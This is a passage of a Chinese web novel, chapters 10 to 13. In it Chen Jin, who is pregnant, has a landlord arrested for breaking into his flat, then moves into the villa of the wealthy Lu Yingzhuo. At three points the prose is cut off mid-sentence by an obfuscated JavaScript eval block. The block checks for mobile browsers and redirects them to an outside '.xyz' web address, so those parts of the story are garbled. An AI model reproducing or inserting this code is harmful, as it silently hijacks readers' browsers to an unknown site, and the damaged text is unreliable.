他转头看那个门口换鞋的身影——陆应倬没了正装,穿着最简单的衣裤,手腕骨绑着绷带,几乎没了在陆氏集团大楼里的强大气场。 陈今一时恍然。 对的。 就应该是这样的。 十二月的风刺扎人皮肤。 陆应倬还是穿了件黑色羊呢大氅,说送陈今回家,就是真的送,就去过他家那边一次,导航都不用开,将人送到小区附近街道,“下车小心。” 陈今和他挥手。 “陈今。” 陆应倬突然在他关门那一瞬叫住他。 陈今弯腰听,“怎么了?” “可以搬过来住。” 陆应倬毫不掩饰隔着车窗看周围的环境。 虽不至于嫌弃,但该有的不满还是一点不掩饰,他余光不留痕迹扫过陈今肚子,“我不常在家,别墅离你单位也更近。” 真负责的爹。 也是让他儿子摊上了。 陈今这么想,还是摇摇头,笑着说:“不用。” 陆应倬不再勉强。 “早点睡。” 陈今大手一挥关好车门。 这边是真不能停车。 挡着人家烧烤店做生意了,堵着门口,人老板不让停。 目送人一走,陆应倬掉头就走。 陈今故意走慢,等人车屁股看不着了,背着包往回,晃进刚才凶神恶煞的烧烤店老板家里,“老板——” “两串鸡翅一串鱿鱼两把韭菜一条黄花鱼一碗肉炒粉打包带走!” “好嘞。” “一共八十。” 陈今美滋滋掏手机扫码,付了钱。 开玩笑。 和陆应倬住一起他还怎么大吃大喝? 可很快,陈今就笑不出来了。 等他提着一大堆战利品,准备回家大吃特吃,看到家门锁都是松的那一刻,他傻了。 10. 第 10 章 他整一天没锁门? 陈今不觉得怀孕会坏脑子。 他清楚记得自己出门之前上了锁,反拧了两圈,绝对严丝合缝。 推门进去,一眼看过去倒还行,只茶几上乱——喝了一半的茶杯茶水、瓜子花生砂糖橘的残渣,还有地板上的鞋印子。 陈今唯独对自个儿住的地方有洁癖。 不管多累,他每天回来第一件事就是打扫卫生,不擦遍桌子拖一遍地不去睡觉,妥妥对自己家地板干净程度了如指掌。 他看着那些鞋印,去餐桌坐下。 陈今拨开炒粉盒子埋头干。 他一个人吃饭的时候就只盯着饭,吃完事儿,他一扎所有袋子拎去客厅垃圾桶,往里放。 好家伙。 里面还有一堆垃圾和水果皮核。 陈今面无表情兜起垃圾袋,打结放在一旁。 到了厨房,他全方位扫一眼冰箱,好嘛,少了两瓶鲜奶一瓶葡萄汁还有三个苹果,两大块榴莲,半盒车厘子……这“贼”都拿的他才买的新鲜货。 陈今回自己房间转了一圈。 东西都没被动。 还是那一些地上的脚印,看得人心里一股无名火。 陈今回了客厅。 按下手机拨号三个数字,说了一通。 他挂断之后,找到通讯录里的备注去了电话,差不多三十秒,对面才哈哈大笑接了起来,一副酒醉上头的样子:“喂——” “我家是你开的门吧?” 陈今抬起表看了眼,“我他妈报警了,不赔钱我就告你,智障玩意儿。” 被骂了一通的人还懵。 陈今直接撂电话。 他翻找出之前签合同拍的照片地址。 二十分钟后,两个警察过来和他了解信息。 陈今让他们取证完,又和人去小区看了监控。 得亏有穿制服的。 不然偷闲打盹儿的大爷还不让看。 监控里,加上房东一起五个人,大人小孩都有,为首的房东掏钥匙开锁,带着一兜子人,大大咧咧踩着鞋子进他的出租房,和自己家似的,门也不关。 “我要喝这个!” “这个——这个我要,给我吃!” 摄像头老化也阻挡不住那些小孩的魔音贯耳。 证据确凿。 陈今就直说了:“租一年半了,我房租水电每季度按时交从没拖过,那房子太老,有什么损坏我都自己修,房东说好了给报销也从没给。” “警察同志,我住这儿就是上班方便。” “现在呢?合约期内他就带这么多人非法入侵,他亲戚和我有什么关系,那房子使用权现在是我的,一群人还拿我东西,算得上一个偷字吧,我就要他给我赔钱解约,返还租金和押金,谁知道后面他会不会半夜又进我家,直接来把我杀了。” 虽然夸张了点儿,警察也说:“不至于小兄弟,人还没来呢。” 陈今:“我知道他家住哪儿。” 警察答应开车和他走一趟。 那房东住的本来就不远,十分钟路就到了。 这一趟也巧,正好遇到房东老婆背着包急匆匆出门下楼。 陈今插兜过去。 房东老婆出了单元楼,一见他,还有他身后人高马大的俩警察,差点吓死,“你——你这小孩儿真有意思,带警察来我家做什么?” “怕什么?” 陈今见人走一步,他跟一步,“我找管事儿的人评评理。” “我可没时间!” 房东老婆装出一副不明事实的样子。 陈今人高,又是个大小伙子,就算是长得秀气她也不敢动手推搡。 警察说:“你老公人在哪儿?叫他过来一下。” 明明是再正常不过的语气。 房东老婆有着和她嚣张体型相反的性子,明显是个怕的,一下子就要哭,“哎哟!这都什么事儿啊——” 陈今冷冷抱胸,“我又不是找的□□,为人民服务的同志你怕什么?你们家来亲戚就忘了房子租给我了,把我那儿搞得乱七八糟还特么拿我东西,啥意思啊?” “就那点小东西你至于吗!” 房东老婆也是不理解,“赔赔赔,你少了多少钱,你清楚算个数我们再赔!” “那不止。”陈今开始笑:“除了赔钱,把租金和押金都退还给我。” 房东老婆张大嘴巴。 “这……你这是违约啊,这我也做不了主。” “那我没办法了。”陈今抓住她,一个常年干活儿的男孩子力气大的和牛一样,“给你老公打电话,让他过来,我现在就要钱。” 房东老婆胆子小得和什么似的,直哎哟叫唤。 警察说:“好好说话别动手。” 陈今也听话放手,故意站人面前堵着路,看房东老婆一直捏手机,时不时就往外看。 有人来接是吧? 陈今留了个心眼儿。 他给房东打电话,一两个来回都是通话中,没一会儿,小区里就有人骂骂咧咧进来。 看着四十来岁的男人带着黑帽子,果然是房东。 警察直接走过去。 一家子欺软怕硬的主。 陈今也学会了,对面一个条件不答应就不说话,一双眼睛死死盯着两人,“我可不赔违约金,他们有错在先,还偷我东西呢。” 房东不占理的地方多了。 俩夫妻年纪不小,说话也前言不搭后语,前一秒答应后一秒反悔,还和警察说自个儿是本地人,他们帮着外地人。 陈今白眼都要飞上天。 大晚上的,最后还是陈今“大发慈悲”退了一步。 除了商量好的翻倍赔偿金和租房押金,剩余三个月租金,陈今只要了两个半月的。 “我一周之内搬走。” 陈今坐警车回家之前通知俩夫妻。 甭管后头气急败坏的骂声。 他都不听。 . . 强硬给警察买了咖啡道谢,陈今回家第一件事,就是找出502胶水给插销锁里挤满,他关门搞了卫生,扫拖完地把垃圾放门口。 这时候,已经晚上十一点了。 陈今捶了两下腰。 洗了个热水澡。 睡前他靠在床上,找到之前的中介发消息:「哥们儿我找房子,还是之前给你的条件,还有没有房源看?」 中介秒回:「不好意思有点久了,稍等,我看下聊天记录。」 陈今和人交流一番。 一句「越快越好」还没发出,门就咚咚响了起来。 陈今仔细一听。 又两声。 他扔了手机下床,大冬天赤脚简直是服刑。 陈今披上棉袄,穿上他妈缝的老黑棉鞋放轻脚步往门口走,抱胸靠门口听。 还敢找来? 陈今看了眼自己赤手空拳的。 他想去厨房拿菜刀,又觉得没这必要,那夫妻二人怕死怕破财又不讲理,不至于。 陈今顺了把苕帚,喊了句中气十足的:“大半夜他妈的敲敲敲,刚没扇死你嘴巴子是吧,信不信老子气来了拿把刀出来弄死你,爷爷的死智障要死一边儿去啊!” “……” 外面突然没声音了。 怂货,陈今冷笑一声,丢了苕帚准备走。 这时,他听隔音不太好的铁门外,传来一道诡异又迷死人的男低音:“开门,是我。” ? 陈今实在没把这声音和胖油腻中年男房东对上号。 不对。 陈今反身走回,拉开门。 他呆呆看着门外,和开车送他回家时同样一身大衣的陆应倬,“这么晚你怎么来了——” “你一直没接电话。” 陆应倬把装有营养补剂的袋子给他,“张姨以为是何卫澜的,给收起来了。” “谢谢啊。” 陈今吸了吸鼻子接下。 袋子上面的挂件一晃一晃,他拿起来一看,一个绿色毛毛虫面包的风干模型,他抠下来,“这怎么也掉了?” 陆应倬问:“不是你的?” “是是是。”陈今裹了裹棉衣塞兜里,“那没事儿你先回去吧,怪冷的。” 陆应倬察觉他屋子里没暖气不说,隐约从窗户缝里透出丝丝寒风,刺骨冰凉,在十二月的首都能冻死人。 他看了眼陈今。 径直抬手推开门,看人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220156|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退了一步,便走了进去。 “诶!” 陈今把门关上。 他转头看这有钱人家大少爷巡视他的破屋子。 太冷了,站不住——陈今也不管陆应倬要干什么,自顾自回到有暖气机和电热毯的房间,掏双袜子坐床上穿。 参观完房子的陆应倬也进来了。 屋子不大,他身高摆在那儿,一进来空间明显就逼仄了,睡觉的房间倒是没外面那么冷,还能住得了人。 “你干啥啊?” 陈今一只腿支棱起来,靠着手臂,“干嘛大半夜在我家不走。” 陆应倬朝他走来。 陈今联想到某个对他屁股不太友好的环节,心里闪过无数个草,故作淡定盯着他靠近,手暗戳戳往外探准备一个翻身逃走。 禽兽啊?! 他肚子里还—— 陈今刚要滚,就见陆应倬越过他床,在书桌前坐下了。 这人一双长腿,鞋子直接抵到他悬空床板下面,手随意查看下他的桌面。 几本老的破皮的书。 一两个封面写着记账用的笔记本和相册什么的。 陆应倬没翻开。 “刚你和谁吵架了?” 见他□□没动静,陈今摸了下后脑勺把腿放回来,心不甘情不愿把暖风机朝向他了点,两人共享,“房东不讲理呗,每次有事就赖我。” 陆应倬碰书桌玻璃的手停下。 “他之前怎么你了?” “我就用了两次的洗衣机坏了,灯泡动不动就烧掉,还有刚住进来窗户自爆,什么下水道发霉堵死了……各种让我自己出钱修。”陈今随便说了几样,“算了,过两天我就搬走。” 刚说完,有个微信电话打进来。 陈今示意陆应倬先别说话,接了,“咋了,刚没看手机。” “我发了几套房源给你。” 中介人还是热心,“就是不像你现在住的房子便宜,还得往上加个几百,环境会稍微好一点,你看看行的话我明儿带你去看房子?” 陈今说:“好,我看看。” 他给挂了,刚看到房子图一瞬,就被人撂走了手机。 陈今只来得及看陆应倬扒拉他手机,看完,又扔回给他,“找房子?” “嗯呢。” 陈今不和他计较,继续看。 “别看了。” 陆应倬不知道何时就到床边了。 他一手落到人肩膀处,将陈今掰向自己的方向,“明天我找人帮你搬,你收拾两件明天上班的衣服,回我那儿睡。” 陈今推他,“不是,你找人把我搬哪儿旮旯去?” 陆应倬仔细看陈今是真傻假傻,手上移,不由自主把他脸往旁边按了一把。 陈今捂着脑袋一个后仰,“你大爷啊!” “花钱找中介不嫌贵了?”陆应倬把他那便宜暖风机电热毯全给关了,“和我一起住。” “不行!” 陈今傻了一下,更是一番劝说:“你知不知道人生活习惯不一样的?” “我这人很事儿的我和你说,会突然心血来潮要吃点什么,大半夜开始作妖,你被吵醒了烦我怎么办,还有上次那事儿……我特么都没和你计较,你快活我屁股疼了一周,万一你要是又心血来潮我怎么办,我要是拒绝你难保不会大半夜把我赶出去,你想想是不是这个道理!” 这口齿清晰的。 思路也是非常顺溜。 陆应倬忽然笑了一下。 眉眼都轻微上扬。 冷硬五官在昏黄出租屋灯下,恍若舒展柔和,重新抬眼时权当一丝玩味。 陈今:“……” 笑这么好看什么意思啊? “别墅冰箱每天都很满,隔音也好。” 陆应倬说完故意弯下腰,吓得陈今双手后撑,推他,“诶诶诶——” 这个姿势。 陈今黑色宽松薄衣下若隐若现的浑圆,更是直接送到陆应倬手边。 他主动抚了上去。 然后看着陈今那双水润清透的漂亮眼睛,盛满了惊恐。 陆应倬捞起看他白嫩微鼓的肚子,又抬眼看他,“怕什么?” “这儿还有张免死金牌。” 11. 第 11 章 啪! 陈今一把拍开陆应倬摸他肚子的手,一推他,整个人从床上跳起来退后两步,指着他,“你不要以为你比我有钱就能随便支配我的生活,还有,对我放尊重点!” 怎么还动手动脚? 他俩又不是什么正常搞对象。 陆应倬见陈今气得胸口起伏,收起眼底仅存的一丝打趣,说:“不早了,收拾东西。” 陈今盯着他在思考。 去还是不去? 他现在这地方住得也确实不安心,看房子找房子也要时间……等一下,陆应倬是不是说,他不经常回家来着? 陈今在思量一个更好的对策。 但他发现,最简单的还是直接和陆应倬走。 也许真的是他杞人忧天了,毕竟,日后真被赶出去和被讨厌之后搬走也挺不好看的。 陈今正想着呢。 陆应倬不再听他说话。 一条腿跪上他的大牡丹花毛床单,扯住他小臂,将人往身前一拉坐下,拎起他放凳子上的裤子,开始给人从脚往上套。 “诶!” 陈今被他这照顾小孩儿的动作吓死。 还没反应过来,他又被人提溜着站起来,裤子被利索拉上,扣好,看得他一愣一愣。 陆应倬不忘给他拿上手机,反手扯人就走。 陈今哪里说得上话,出门之前,他才拽住陆应倬,“等一下等一下——” “真的,等我一下。” 陈今挣脱开,跑进屋子。 他把浴室的瓶瓶罐罐拿出来,理好落地衣架上的衣服裤子鞋子,一股脑全放进衣柜,上了锁,拿起桌上账本,他又拉开抽屉,把装有证件和银行卡的钱包塞皮包里,将又贵又最好看的一条围巾往脖子上一绕。 他跑到陆应倬面前,还喘气儿。 “那,你明天一早就让人给我搬,尤其是衣柜里的东西,我全部都要。”陈今和他说:“一定要早一点来。” 陆应倬抓他手,“知道了。” 出了门,手才自然而然放开。 见陆应倬要关门,陈今回头阻止,“别关!我往里涂了胶钥匙打不开,也没什么值钱东西了,明天还得来。” 陆应倬看他一眼,留了一丝缝。 居民楼里有两层灯坏了。 陈今天天走惯了,黑灯瞎火也不影响他的自如,他也频频放慢脚步回头说:“这台阶不标准,一截高一截矮,而且你得稍微——” 咚! 话音未落某人就遭殃了。 陈今立马跑过去关心:“我去,这么大一声,你是不是撞到头了?” 缠着纱布的手从额角下来。 陆应倬额头红了一片,凭借外面路灯光影,看到陈今眼里真心实意的关心,他只皱眉:“住的什么破地方。” 陈今:“……” 他居然忘了陆应倬的本性。 事情还得从发生关系那天晚上说起。 也是一个短暂的雷暴雨天,陈今兴致冲冲抢到了一个打赏大单代驾,整整一千五百块。 他本人在挣钱方面胆子大得很——从来没开过的限量版豪车,何卫澜怎么说,他就怎么记,第一次就敢上路。 后座是个醉汉单主。 陈今压根儿不慌。 他看着那全车环绕的立体嵌入式高级音响,偷摸放dj热歌听了一路,陆应倬这货到家就醒,眼睛都没睁开,便充当判官把他的音乐审美批得一无是处。 这货说了两次难听。 还要挟陈今把历史和蓝牙记录全清了,不然扣他钱。 陈今窝窝囊囊照做。 说话难听、钱多没处花、不近人情。 这是和陆应倬打过交道之后,陈今给他贴的标签。 至于这段时间…… 陈今直接他妈的精分了。 他根本分不清哪一个是真实的陆应倬,还是说,这人真的有精神分裂。 不过,也有线索。 陈今想到那只摸他肚子的手——小心中带着一丝好奇戳碰。 想到此处,他看还在丈量楼梯高度的陆应倬,又碰了一手灰,眼里还带着一丝掩饰不住的嫌弃。 陈今翻了个白眼。 一把抓住他手腕,带着人下楼,“谁让你长那么老高,弯腰走。” 又到了有窗户的一层。 陆应倬凭借寒凉月色看他。 陈今侧脸靠近耳朵的地方,有一颗痣。 棕色的,长得很标致的圆,鼻骨侧上也有一颗,其余皮肤都干净清透,浸了月的冷白,亮亮的。 有光了。 陈今放了手。 车就在路边停着。 两个人上去后,陆应倬突然开口:“除了在首都读大学,你之前有没有去过什么地方?” “去什么地方?” 陈今重复一遍。 他打了个哈欠,懒懒的声线听在耳里还有点发软:“我从小到大都在江市,没出过远门,我们那儿可好看了,尤其是夏天,哪儿有城里那么热,除了怕蛇咬,坐西瓜地里都能铺凉席睡觉……” 陆应倬把话听在耳朵里。 把控方向盘的修长手指抬起,敲击了一下,“是吗?” 没人说话。 陆应倬一看。 陈今的手各自揣两只羽绒服袖子里,秒入睡。 一直到青徽公馆的别墅车库,这人也是一点儿没醒,轻微鼾声都起来了。 陆应倬锁了车。 从另一端打开车门,手臂搭在车门顶一会儿。 陈今还在睡。 甚至是坐端正睡的。 陆应倬不言不语,弯腰将人托着腋下抱起,再打横抱入家里。 陈今比他想象的轻。 上次去医院检查,明明称重有一百三十八斤,医生说偏轻,此刻抱在手里更是不够份量。 回了家。 陆应倬习惯性走入主卧。 等他从衣帽间找了新睡衣出来。 陈今已然大大咧咧躺在床上,嚷嚷着热,自个儿把裤子外套全脱了,往被窝里一躺,全身舒展开一个安全感十足的姿势。 陆应倬观察片刻陈今。 带上门。 …… 张阿姨很细心地在收拾干净的新房间留了一盏无影灯,暖光的。 陆应倬脱去外衣。 他掀开被子,躺至床上,闭上眼睛进入助眠模式。 三十分钟过去了。 很好。 失败。 重新进行下一个回合。 . . 陈今睡了一个无比爽的觉。 以至于他睁开眼睛,清楚地知道自己身处何地,也只是翻了个身更加往里缩,手臂脸颊划过高奢薄鹅绒被的那一刻,他发出喟叹。 这辈子没盖过这么舒服的被子。 陈今是想赖床来着。 可胃酸又开始反向腐蚀他,他脸一白,捂嘴下床往卫生间里冲—— 连续往外吐了三次。 陈今撑着大理石台,开水的时候把水往脸上浇,水滴顺着鼻尖下颌线一颗颗砸下来。 他垂着头。 也是这时候他听到脚步声。 陈今侧头和陆应倬对视上,他先没说话,转回去,撑着洗手池边缘站直身子,抓了把刘海,“你进来怎么不敲门?” 不对。 这是别人家。 陈今低头看了眼自己。 宽松的一身黑色家居衣,赤手赤脚的,踩在地暖上也完全不冷,他走出去,“这么早来找我干什么?” 陆应倬也是一身休闲装,手从口袋拿出,拉过陈今手臂。 “干啥你?” 陈今烦躁他老拉自己。 然而,拉他的那只手已经到他脑门,耳朵,脸颊侧面都碰了一通。 陈今还没数落他动手动脚。 陆应倬转手给他递东西,“喝了。” 陈今才关注到他手里的玻璃杯,淡橘色的,他接下尝了口,眼神一亮,“还挺甜。” “你的补剂加在里面了。” “以后早餐前张姨会来给你送,能缓解你的不舒服,还开胃。” “谢了。” 陈今心平气和接受了。 他走去床边一坐,摸到手机,给周绮语发了个消息问昨天的工作情况,再一回头,“那一会儿我怎么回去搬东西?” “安排人去整理了。” 陆应倬看了眼表,“我开车出门,司机留给你,或者,你想自己开车过去?” 陈今问:“我哪儿来的车?” “地下二层车库。” 陆应倬指了指,“我房间出门左拐走廊尽头有电梯,可以直达,钥匙都在车库墙壁指纹柜里,输入密码是123321。” 陈今哦了一声。 他当然是愿意自由一点。 只有一点,他有些奇怪:“你房间出去左拐?你房间是哪间?” 陆应倬看了他一会儿。 “这间。” 陈今:“……” 他木讷一回头看周围。 又扫向身下从床垫到被单都称之为仙品的床,床尾还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220157|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他乱放的羽绒服裤子和袜子,他眼疾手快收了起来,“……不好意思,昨晚太困了。” 这货也是。 没事领他来主卧干什么?? 陆应倬说:“你房间在右对面。” “谢谢啊,那我过去了。” 陈今求之不得,抱着衣服滚回自己卧室——虽然没有陆应倬主卧那样大的离谱,什么都顶配,但该有的都有。 舒服的被子枕头。 独立干湿分离卫浴。 大户人家有浴缸就算了,连泡脚池都有。 房间内不是平顶设计,天花板有阁楼式的下沉错落感,卧室中央,是一扇巨大的拱形沉木格纹磨砂窗户。 窗前是一张书桌。 巨大的,质感极好的实木书桌。 陈今推开半扇窗。 寒风灌入。 窗外树干枝桠横在窗前。 冬日里的树叶难免稀疏,但雪色和露霜点点,别有一番风味。 由俭入奢爽啊。 陈今着实没想到,自己二十三岁就能住上这样的房子。 两分钟后,陈今把电动牙刷塞嘴里,在卧室里轮番走走看看,有人敲门,他走去看到是保姆,立马喊了人:“张阿姨。” “诶。” 张阿姨拿着一套洗净烘干的衣裤,“先生说您醒了,您昨儿来得晚也没收拾衣服,来。” “这怎么好意思?”陈今忙双手接过来,“我就是最近有点困难,他让我短住一段日子,您千万别麻烦,以后我的衣服我自己洗就好了。” “其实顺手的事儿。” 张阿姨给他带上门,“那我不打扰您了,先生去遛块头了,早餐已经好了就在楼下,您随时都可以下来。” “谢谢谢谢。” 陈今觉得她太客气了。 火速洗漱完。 他去拿张阿姨送来的衣服,从里到外都是搭配好的:除了秋衣裤,衬衫、毛衣开衫和牛仔裤都搭配好了,颜色和谐又好看。 裤子版型太好。 陈今着实没想到一穿上,还厚实。 他的直板夹和定型水没带过来,头发只能按照最简单的打理,越看衣服越觉得合适。 挺贵的吧? 陈今摸摸衣角。 他真想问问陆应倬都是从哪儿买的衣服,怎么质量版型都这么好。 陈今下楼吃早餐。 陆应倬遛狗还没回来。 面对一大桌子什么都有的美食,陈今已经是第三次警告自己不忘初心了,双手接张阿姨手里的鲜豆浆,“我来,我自己来就好了,谢谢您谢谢您!” “您别客气。” 张阿姨也不让他尴尬,忙活好,就去打理客厅了。 陈今吃了个顶饱。 中途周绮语给他回了消息:「顺利结束,专业能力一摆出来都乖乖老实了,腕儿是挺大,他老满意就是了。」 陈今:「还得是姐(牛)」 周绮语:「腿怎么样?」 陈今:「连骨折都没,看起来吓人而已,我下午就过去干活儿。」 周绮语:「是有两个新的外景排片,你过来和老徐老于商量下方案,对了,小张也是下午来,你发个消息带她一起,小姑娘人勤奋,就乐意跟着你。」 陈今:「好嘞。」 “汪!” 陈今腿上突然多了一抹重量。 他低头一看,陡然笑开,扔下手机揉了揉毛绒绒的黑白色脑袋,“玩儿好回来了?” “汪!” 块头就乐意回答他。 “你爸呢?” 陈今看着牵引绳那边空无一人,拉过来给解开,“他上班去了?” 块头歪着头只笑。 不说话。 陈今一下子领悟到了。 果然,大门即刻走入一人,陆应倬在玄关那儿消毒擦手,问他:“吃完了么?” 陈今说:“肯定的啊。” “那和我出去一趟。”陆应倬没进来,说:“带你去物业那边录个信息,方便出入。” 陈今又给块头解开项圈。 他走到门口换鞋,对着跟过来的小狗手掌下划,“趴。” 块头先是没动,看了一眼陆应倬之后,乖乖照做。 陈今心情大好。 转头就说:“走呗!” 陆应倬看他这副机灵样子。 人靠衣装,陈今人本就长得好。 如今穿得好吃得好,出门的背影都矜贵漂亮不少,有着独属于他这个年纪的少年气,站车门边催他:“你站那儿干嘛?走啊。” 12. 第 12 章 “请您再站近一点。” “直视我标识点的位置,好的,眨两下眼睛,转头。” “这边请您手掌整个放进去,停留五秒钟以上,拿出来再放。” 物业人员采集完毕,朝陆应倬礼貌示意:“陆先生,已经完成了。” 陆应倬回以颔首。 陈今还在那儿看人家操作。 非常稀奇问了句:“啥意思,那如果别人把我杀了,砍了手拿过来识别进入,不行吗?” 陆应倬捏茶杯的手不动了:“……” “不可以的。” 物业人员不厌其烦为他解答:“青徽公馆的安保系统必须同时识别您本人的活体虹膜和掌纹,自然也不会有识别残肢的错误……最重要的,祝您身体健康。” 物业人员在陆应倬眼神飘过来时,就压力山大了。 “这么高级。” 陈今左看看右看看。 他想起什么,转头看向陆应倬,“我好像忘了一个事。” 陆应倬接话:“什么?” “我电动车!”陈今一屁股坐他身边,“不是,你家这别墅区也太大了,我得有代步车啊,而且之后我上班也得用……” 陆应倬隐约有一丝印象。 陈今找出来照片和牌号给他看,指了指,“我的车,这个。” 陆应倬拿去说:“你这也叫代步车?” 陈今:“……” 陆应倬说是这么说了,还是起身,将他手机照片放在物业人员的工作台上,“记录进我的车牌系统。” 物业人员双手接过:“好的。” 陈今欢快往后一靠。 敞开的一只脚后跟在地上打拍子,操作完他拿回手机,仰起头笑:“谢谢你啊。” 陆应倬说:“走了。” 和来时一样,两人乘坐别墅物业的巡查车回家。 陆应倬直接去了公司。 陈今接到了搬家人员打来的电话,找他过去验收。 他说好,在车库选了一辆相对来说低调的全黑色SUV,往出租屋那边去,到的时候,所有东西都已分门别类。 卫生都搞好了。 陈今给大家都买了水,“辛苦了。” 他东西不是太多。 陆应倬也是认知错误,搬家的车子体型不小。 不过正好,把他的电动车也抬上去,陈今帮了把手,拍拍灰笑,“谢谢啊。” 由陈今开路。 到达青徽公馆—— 搬家车已提前报备过,第一个被搜身完的师傅开车,其余人随保安带入。 张阿姨一直在帮忙收拾。 陈今发现她特好相处,“阿姨这个重,我自己来就好了。” “不会不会。” 张阿姨也着急,拉着他手走开,“你坐你坐,小心点儿肚子昂……” 陈今浑身僵住。 他手半悬在空中,眼里都是不可思议。 那货…… 竟然直接就这么说了?! 张阿姨调整了一下箱子方向,开始絮叨:“这地方不可以正对着搬,哎哟这木板还碎了,尖的这头把纸箱都戳破了,划伤手和肚子怎么办……” 陈今抽离出来,“啊?” 张阿姨拿出一块块已经分裂的木板。 “这个碎了的值不值钱?陈先生,这个按照合同是要给你赔偿的。” “没没没。”陈今回过神来,“没多少钱,我主要是把衣服那些带过来,这原本就是个木匣子,我十块钱淘来的,就是些破烂而已。” 张阿姨点头,“那行。” 陈今拉了下她手,“张阿姨,那个……陆应倬有和你说过我的事情吗?” “您搬过来住吗?先生嘱咐了很多。” 张阿姨看陈今很紧张,立马拍他手,“先生说了,你有什么需要的就和我说,不用客气,就当自己家一样。” 陈今心想我哪儿敢。 他重新扬起笑容,“没事儿,您忙一上午了,就这点我自己来就行。” 没说就好。 就算真要说,也得让他这个当事人有点心理准备。 午饭,张阿姨做了一大桌子菜。 陈今是个不爱浪费的,他劝了三次拉张阿姨和他一起吃,块头就坐在他脚边,仰头看着。 “给。” 陈今差不多吃完了。 把汤里连着肉的骨头给它。 块头疯狂摇起来尾巴,一口咬住,拿到自己的饭盆里去了。 乖着呢。 张阿姨笑着提醒:“以后先生在的时候可不能这样,必须有规矩,今天也就是只有您在,块头才敢来要东西吃。” “这样吗?” 陈今说:“我们乡下土狗都围桌边等人吐骨头。” “先生从小就这样,对自己的所属物品连摆放位置都很严格,养了块头之后,块头天性爱玩爱闹,先生的强迫症稍微改了一点儿,也不多。” “从小?” 陈今停下筷子,“张阿姨,你一直照顾他长大吗?” “也不是的。” 张阿姨和他说:“我之前是在陆家老宅那边做事。” “我是从先生十七岁认识他的。” “他一回来住,就已经高二了,经常一个人在书房待到深夜,不过,先生只在老宅住了两年就出国读书了,后来回国接手集团产业,年纪轻轻就有能力帮董事长分担,真的是非常厉害。” “听上去……他爸对他还挺好的。” 陈今说了这么一句。 张阿姨说当然,“先生在几个兄弟姐妹中年长,也是最优秀的,董事长培养他花了不少心思,只是说……反正,他老人家不怎么在明面上说罢了。” 陈今:“他还有兄弟姐妹?” “对呀。”张阿姨见他不知道,说:“一个弟弟一个妹妹,不过同父异母,先生的母亲……早些年已经去世了。” 陈今小声说了一句:“这个我知道的。” 张阿姨其实担忧自己说多了。 此时,听到他说这一句,她就放心多了。 这时,陈今突然问:“那张阿姨您工资是谁发的?” 张阿姨哭笑不得:“你这孩子——” “问问嘛。” 陈今嘿嘿一笑。 “一开始先生刚回国,董事长安排先生一个人住也放心不下,让我过来照顾一阵。” 张阿姨看着陈今说:“那时候我家儿子也是高考,女儿又急性白血病,急需一大笔钱,是先生给我的。” 陈今立马后悔问了。 他小心翼翼捏住保姆的手,“不好意思啊张阿姨。” “没事没事。” 张阿姨用讲故事的语气和他说一般:“那时候还是陆家给我发工资,我没办法两头兼顾,董事长妻子总是打电话问我先生的事情,我过意不去,就干脆辞职了,后来,女儿化疗的时候还是没扛住走了,回老家办完白事,先生还打电话问候我。” “再之后……” “先生一说他还在找住家保姆,我连夜坐着高铁就赶过来了,你不知道,那时候他还在家吃泡面呢。” 陈今嘴角抽抽。 “这年头谁还不会点外卖啊?” “不是的,他还真就喜欢。” 张阿姨为陆应倬解释:“这事儿是我摸索出来的。” “第一回先生和我说要吃,我觉得泡面没营养,就没给他用调料包,他很饿了,还一直皱着个眉毛吃了半碗,后来啊,我又在厨房发现用过的锅和垃圾桶里的泡面袋,你以后要是听见他主动说要吃什么,准得是想吃这个。” “哦哦,先生只爱吃一个口味的——” “酸萝卜老鸭汤。” “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈今和她没心眼子,笑着说:“这不是快年底了吗?那店才开业,短期薪资贼高了,多挣点,好给我爸妈买两件儿衣服。” 周绮语问完就答应了。 “回来的时候记得提前一天销假。” “这个月加班请假的人不少财务那边不好弄,怕给你算漏钱。” “谢谢姐。” 陈今立马说:“等我那边拿工资了请你和姐夫吃饭!” 周绮语也不客气:“行啊。” 陈今了却一桩心事。 下班了,他准备去之前常去的餐厅吃饭,手机上,显示着一个新的联系人——张阿姨。 陈今思绪飘忽了一下。 对哦,他搬家了。 “喂阿姨——” “小今你回来吃饭吗?” 张阿姨语气很是神秘兮兮:“何秘书刚才打电话说,先生一会儿也要回来,今天菜色很丰盛的。” 陈今:“啊?” 为什么特意和他强调?啥意思? “有香煎鲈鱼,黄焖鱼翅,咸蛋黄茄子……” 还愣神呢,张阿姨已经开始给他报菜名了。 陈今听得肚子直叫,对崽子瞬间就缴械投降感到无语,没一会儿,张阿姨还发来了餐桌上做好的国宴视频。 那色香味。 陈今咽了口水,立刻发语音:“回回回,来了!” 他这是怀了个饭桶? 偏偏这孩子他老爹又对这事儿格外上心。 真耽误他挣钱! 13. 第 13 章 “您好,欢迎回家——” 金色感应护栏从眼前抬起。 